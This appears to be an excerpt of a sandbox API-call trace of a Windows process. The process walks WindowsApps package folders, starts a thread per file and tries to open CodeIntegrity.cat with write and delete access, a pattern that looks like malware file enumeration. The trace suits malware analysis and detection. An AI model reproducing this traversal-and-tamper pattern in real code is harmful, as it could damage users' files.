	[0089.885] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43b7f4ac, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4f46c57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43b7f4ac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0089.885] wcscmp (_String1="Resources", _String2=".") returned 1
	[0089.885] wcscmp (_String1="Resources", _String2="..") returned 1
	[0089.885] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925450
	[0089.885] wcscpy (in: _Dest=0x4925450, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.885] wcscat (in: _Dest=0x4925450, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.885] wcscat (in: _Dest=0x4925450, _Source="Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\Resources"
	[0089.885] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4925450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb0
	[0089.886] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43b32ff4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x43b7f4ac, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x43b7f4ac, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xcfb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0089.886] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0089.886] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0089.886] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e95d0
	[0089.886] wcscpy (in: _Dest=0x47e95d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe"
	[0089.886] wcscat (in: _Dest=0x47e95d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\"
	[0089.886] wcscat (in: _Dest=0x47e95d0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_10.16112.11601.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0089.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47e95d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fb4
	[0089.887] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ba5705, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x44102bd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x44102bd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11b1b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Video.UI.exe", cAlternateFileName="")) returned 1
	[0089.887] wcscmp (_String1="Video.UI.exe", _String2=".") returned 1
	[0089.887] wcscmp (_String1="Video.UI.exe", _String2="..") returned 1
	[0089.887] FindNextFileW (in: hFindFile=0x46a7ed8, lpFindFileData=0x502ed60 | out: lpFindFileData=0x502ed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ba5705, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x44102bd8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x44102bd8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11b1b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Video.UI.exe", cAlternateFileName="")) returned 0
	[0089.887] FindClose (in: hFindFile=0x46a7ed8 | out: hFindFile=0x46a7ed8) returned 1
	[0089.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502ed60) returned 1
	[0089.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0089.887] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7dc98) returned 1

Thread:
	id = 1064
	os_tid = 0x1d10

	[0082.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49252c0
	[0082.749] wcscpy (in: _Dest=0x49252c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe"
	[0082.749] wcscat (in: _Dest=0x49252c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.749] wcscat (in: _Dest=0x49252c0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\*"
	[0082.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x5031178
	[0082.749] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x429e902d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc650cb3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc650cb3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7f18
	[0082.751] wcscmp (_String1=".", _String2=".") returned 0
	[0082.751] FindNextFileW (in: hFindFile=0x46a7f18, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x429e902d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xc650cb3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc650cb3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.751] wcscmp (_String1="..", _String2=".") returned 1
	[0082.751] wcscmp (_String1="..", _String2="..") returned 0
	[0082.751] FindNextFileW (in: hFindFile=0x46a7f18, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42acde49, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x42acde49, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x42acde49, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.751] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.751] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.751] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4723370
	[0082.751] wcscpy (in: _Dest=0x4723370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe"
	[0082.751] wcscat (in: _Dest=0x4723370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.751] wcscat (in: _Dest=0x4723370, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0089.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4723370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x169c
	[0089.875] FindNextFileW (in: hFindFile=0x46a7f18, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x429e902d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb4fc4c9f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x429e902d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0089.875] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0089.875] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0089.875] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44520
	[0089.875] wcscpy (in: _Dest=0x2e44520, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe"
	[0089.875] wcscat (in: _Dest=0x2e44520, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.875] wcscat (in: _Dest=0x2e44520, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0089.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e44520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8c
	[0089.875] FindNextFileW (in: hFindFile=0x46a7f18, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42acde49, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x42acde49, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x42acde49, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2971, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0089.876] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0089.876] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0089.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4768f38
	[0089.876] wcscpy (in: _Dest=0x4768f38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe"
	[0089.876] wcscat (in: _Dest=0x4768f38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.876] wcscat (in: _Dest=0x4768f38, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0089.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4768f38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f90
	[0089.876] FindNextFileW (in: hFindFile=0x46a7f18, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc650cb3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb4fc5793, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc650cb3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0089.876] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0089.876] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0089.876] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfc) returned 0x481cfa0
	[0089.876] wcscpy (in: _Dest=0x481cfa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe"
	[0089.876] wcscat (in: _Dest=0x481cfa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\"
	[0089.876] wcscat (in: _Dest=0x481cfa0, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.ZuneVideo_2019.16112.11601.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0089.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481cfa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f94
	[0089.877] FindNextFileW (in: hFindFile=0x46a7f18, lpFindFileData=0x5031178 | out: lpFindFileData=0x5031178*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc650cb3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb4fc5793, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc650cb3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0089.877] FindClose (in: hFindFile=0x46a7f18 | out: hFindFile=0x46a7f18) returned 1
	[0089.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5031178) returned 1
	[0089.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49252c0) returned 1
	[0089.878] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4769f68) returned 1

Thread:
	id = 1065
	os_tid = 0x1d14

	[0082.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5a) returned 0x4780cc0
	[0082.752] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\Program Files\\WindowsApps\\MovedPackages" | out: _Dest="C:\\Program Files\\WindowsApps\\MovedPackages") returned="C:\\Program Files\\WindowsApps\\MovedPackages"
	[0082.752] wcscat (in: _Dest=0x4780cc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\MovedPackages\\") returned="C:\\Program Files\\WindowsApps\\MovedPackages\\"
	[0082.752] wcscat (in: _Dest=0x4780cc0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\MovedPackages\\*") returned="C:\\Program Files\\WindowsApps\\MovedPackages\\*"
	[0082.752] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50313e0
	[0082.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\MovedPackages\\*", lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fefe3, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb5029d0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa5fefe3, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7f58
	[0082.753] wcscmp (_String1=".", _String2=".") returned 0
	[0082.753] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fefe3, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb5029d0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa5fefe3, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.753] wcscmp (_String1="..", _String2=".") returned 1
	[0082.753] wcscmp (_String1="..", _String2="..") returned 0
	[0082.754] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5fefe3, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xb5029d0f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa5fefe3, ftLastWriteTime.dwHighDateTime=0x1d32718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.754] FindClose (in: hFindFile=0x46a7f58 | out: hFindFile=0x46a7f58) returned 1
	[0082.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50313e0) returned 1
	[0082.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0082.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf488) returned 1

Thread:
	id = 1066
	os_tid = 0x1d18

	[0082.753] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0082.757] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0082.757] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.758] GetLastError () returned 0x5
	[0082.758] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0082.758] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768b98) returned 1

Thread:
	id = 1067
	os_tid = 0x1d1c

	[0082.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4719390
	[0082.759] wcscpy (in: _Dest=0x4719390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0082.759] wcscat (in: _Dest=0x4719390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0082.759] wcscat (in: _Dest=0x4719390, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*"
	[0082.759] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50313e0
	[0082.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\*", lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d4131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7f58
	[0082.760] wcscmp (_String1=".", _String2=".") returned 0
	[0082.760] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa5d4131, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c35f15d, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.760] wcscmp (_String1="..", _String2=".") returned 1
	[0082.760] wcscmp (_String1="..", _String2="..") returned 0
	[0082.760] FindNextFileW (in: hFindFile=0x46a7f58, lpFindFileData=0x50313e0 | out: lpFindFileData=0x50313e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2c683a, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa66b57d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6c312cbd, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="contrast-black", cAlternateFileName="CONTRA~1")) returned 1
	[0082.760] wcscmp (_String1="contrast-black", _String2=".") returned 1
	[0082.761] wcscmp (_String1="contrast-black", _String2="..") returned 1
	[0082.761] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4723628
	[0082.761] wcscpy (in: _Dest=0x4723628, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles"
	[0082.761] wcscat (in: _Dest=0x4723628, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\"
	[0082.761] wcscat (in: _Dest=0x4723628, _Source="contrast-black" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-black"
